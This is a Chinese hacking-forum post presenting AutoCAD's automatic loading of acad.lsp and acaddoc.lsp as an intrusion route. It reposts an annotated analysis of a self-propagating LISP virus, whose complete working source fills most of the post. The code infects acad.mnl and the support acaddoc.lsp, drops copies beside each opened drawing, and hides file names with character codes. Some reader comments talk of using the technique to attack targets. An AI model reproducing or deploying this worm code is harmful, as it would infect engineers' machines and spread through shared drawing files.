通过CAD入侵
CAD 文件DWG文件 后面有acad.lsp 或者acaddoc.lsp 会自动加载 lsp能添加管理员账户
一下是感染部分(转的)
最近自己的电脑中了CAD病毒,症状为打开一个dwg文件后,在该dwg文件所在目录下就会自动生成一个“acaddoc.lsp”文件,即使手工将其删除,下次打开dwg文件时又会自动生成。如果把dwg文件和acaddoc.lsp文件一起复制到另外一部未感染CAD病毒的电脑上,只要一打开该dwg文件,则该电脑就会被感染。因为这个CAD病毒是个lisp程序,花了些时间对病毒代码进行分析如下:
-----------------下面是病毒代码-----------------------------
(setq wold_cmd (getvar "cmdecho"))
(setvar "cmdecho" 0)
(setq wpath (findfile "base.dcl"))
(setq wpath (substr wpath 1 (- (strlen wpath) 8))) ;wpath变量保存ACAD下support目录路径
(setq wwmnlwpath (getvar "menuname")) ;获得当前菜单名,这句没有用处,下面并未使用wwmnlwpath变量
(setq wnowdwg (getvar "dwgname")) ;获得当前打开图形文件名
(setq wwjqm (findfile wnowdwg)) ;wwjqm变量保存当前打开图形文件的完整路径
(setq wdwgwpath (substr wwjqm 1
( - (strlen wwjqm) (strlen wnowdwg)))) ;wdwgwpath变量保存当前打开图形文件所在路径
;;;alert
( setq f ( open "c:\\boot.dat" "w")) ;f变量为boot.dat文件句柄,c盘根目录下boot.dat文件若存在则
(write-line "[dang]" f) ;打开,不存在则创建,然后将当前打开图形文件所在路径和support
(write-line (strcat "ff=" wdwgwpath) f) ;目录路径写入boot.dat文件
(write-line (strcat "yy=" wpath) f)
(close f)
(setq boot (findfile "boot.dat")) ;获得boot.dat文件所在目录完整路径
(if (/= boot "") (command "_-vbarun" "ThisDrawing.hh")) ;这句是要运行一个名为“ThisDrawing.hh”的宏,但该宏并不存在
(setq wacadwpath (findfile "acaddoc.lsp")) ;wacadwpath变量保存当前加载的acaddoc.lsp文件所在目录
(setq wacadwpath (substr wacadwpath 1
(- (strlen wacadwpath) 11)))
(setq wns1 "" wns2 "")
(setq wlspbj 0) ;wlspbj变量是判断support目录下acaddoc.lsp文件是否已感染的
;;; ;标志,已感染为1,未感染为0
(setq wwjqm (strcat wpath "acaddoc.lsp")) ;wwjqm变量指向support目录下的acaddoc.lsp文件
(if (setq wwjm (open wwjqm "r")) ;wwjm变量为打开support目录下的acaddoc.lsp文件的句柄,若打开
(progn ;成功则进行处理
(while
(setq wwz (read-line wwjm)) ;逐行读取acaddoc.lsp文件内容,读取结束后,wns1中是倒数第2行
(setq wns1 wns2 ) ;内容,wns2中是最后一行的内容
(setq wns2 wwz)
)
(if (> (strlen wns1) 14) ;判断wns1中从第8个字符开始的7个字符是否为“acadapq”,
(if (= (substr wns1 8 7) "acadapq") ;若是则已感染
(setq wlspbj 1)
)
)
(close wwjm)
)
)
(setq wlspmnl 0) ;wlspmnl变量是判断support目录下acad.mnl文件是否已感染的标志,
;;; ;已感染为1,未感染为0
(setq wwjqm (strcat wpath "acad.mnl")) ;wwjqm变量指向support目录下的acad.mnl文件
(if (setq wwjm (open wwjqm "r" )) ;wwjm变量为打开support目录下的acad.mnl文件的句柄,若打开
(progn ;成功则进行处理
(while (setq wwz (read-line wwjm)) ;逐行读取acad.mnl文件内容,读取结束后,wns1中是倒数第2行内容
(setq wns1 wns2 ) ;wns2中是最后一行的内容
(setq wns2 wwz)
)
(if (> (strlen wns1) 14) ;判断wns1中从第8个字符开始的7个字符是否为“acadapq”,若是则
(if (= (substr wns1 8 7) "acadapq") ;已感染
(setq wlspmnl 1)
)
)
(close wwjm) ;关闭acad.mnl文件
)
)
(if (= wlspmnl 0) ;若acad.mnl文件未感染,则写入加载病毒的代码到acad.mnl文件的
(progn ;最后2行中
(setq wwjqm (strcat wpath
(strcat (chr 97) (chr 99) (chr 97)
(chr 100) (chr 46) (chr 109)
(chr 110) (chr 108)) )) ;障眼法,等于(strcat wpath "acad.mnl")
(setq wwjm (open wwjqm "a"))
(write-line (strcat "(load " (chr 34)
"acadapq" (chr 34) ")" ) wwjm)
(write-line "(princ)" wwjm)
(close wwjm)
)
)
(defun wwriteapp ()
(if (setq wwjm1 (open wnewacad "w"))
(progn
(setq wwjm (open woldacad "r"))
(while (setq wwz (read-line wwjm))
(write-line wwz wwjm1)
)
(close wwjm)
(close wwjm1)
)
)
)
(if (and (= wacadwpath wdwgwpath)
(/= wacadwpath wpath)) ;若加载的acaddoc.lsp文件和图形文件同目录
(progn
(if (= 0 wlspmnl) ;acad.mnl文件未感染
(progn
(setq woldacad (findfile "acaddoc.lsp")) ;在下面调用wwriteapp子程序读取图形文件目录下的acaddoc.lsp文件
(setq wnewacad (strcat wpath "acadapq.lsp")) ;的内容,在support目录下创建acadapq.lsp文件并将acaddoc.lsp
) ;文件的内容写入acadapq.lsp文件中
;;else (acad.mnl文件已感染)
(progn
(setq woldacad (strcat wpath "acadapq.lsp" )) ;在下面调用wwriteapp子程序读取support目录下的acadapq.lsp文件
(setq wnewacad (findfile "acaddoc.lsp")) ;的内容,写入图形目录下的acaddoc.lsp文件中
)
)
(if (= wlspbj 0) ;support目录下的acaddoc.lsp文件未感染
(progn ;下面代码将加载病毒程序的代码写入acaddoc.lsp文件的最后2行中
(setq wwjqm (strcat wpath "acaddoc.lsp" ))
(setq wwjm (open wwjqm "a"))
(write-line (strcat "(load " (chr 34)
"acadapq" (chr 34) ")" ) wwjm)
(write-line "(princ)" wwjm)
(close wwjm)
)
)
(wwriteapp)
)
;;else (若加载的是support目录下的acaddoc.lsp文件)
(progn
(if (/= wnowdwg "Drawing.dwg" ) ;当前打开文件不是新建图形文件
(progn
(setq woldacad (findfile "acadapq.lsp")) ;在图形文件目录下创建acaddoc.lsp文件,将acadapq.lsp
(setq wnewacad (strcat wdwgwpath "acaddoc.lsp")) ;文件的内容写入acaddoc.lsp文件中
(wwriteapp)
)
)
)
)
(setvar "cmdecho" wold_cmd)
(princ) ;下面的代码又是个障眼法,没什么作用
(setq strtopstr (strcat (chr 92) (chr 92) (chr 70)
(chr 83) (chr 49) (chr 92)
(chr 83) (chr 89) (chr 83)
(chr 49) (chr 92) (chr 87)
(chr 79) (chr 82) (chr 75)
(chr 92) (chr 80) (chr 76)))
-----------------病毒代码到此结束----------------------------
已询问AUTOCAD官方,这是CAD的一种机制,关闭不了。
晚上在补充
评论20次
都能杀 除非碰到没装杀软的 这个玩意感染CAD 文件 只要到一台新机 打开感染的文件 立马又有 。除非文件报废 或者全装杀毒
和word一样,掉的不行
很多年前的东西了。。。。CAD二次开发可以再CAD目录下放一个文件,打开就可以执行代码。
这种也可以,学xi下拉
这个是APT常用技巧之一,被semantec报告过,用于渗透航空设计单位,哎。。
每天都用这个 表示有外来文件都会先通过cad专杀软件过一下
之前就听说过 现在才看到
哇塞,现在CAD都可以利用了啊
这个不错,学xi下经验!
看着挺高端
能不能把样本传上来呀
我去CAD都可以啊
这个……能用的都是高大上啊
哦,原来这就是某些人揣在手里的东西啊 。。
这种入侵的手法了解下。
这毒很早就有了类似于word,不过还是挺高端的
某些工程师可老火了,一打开就中毒
"已询问AUTOCAD官方,这是CAD的一种机制,关闭不了。" 软件厂商应该把用户安全用户体验放在第一位才对阿
CAD 病毒早已有存在 不过现在有的基于CAD的软件 都会先查杀 比如啥鲁班预算还是啥的
不错哦,可以利用这个东西来“黑掉”某些重要的东西了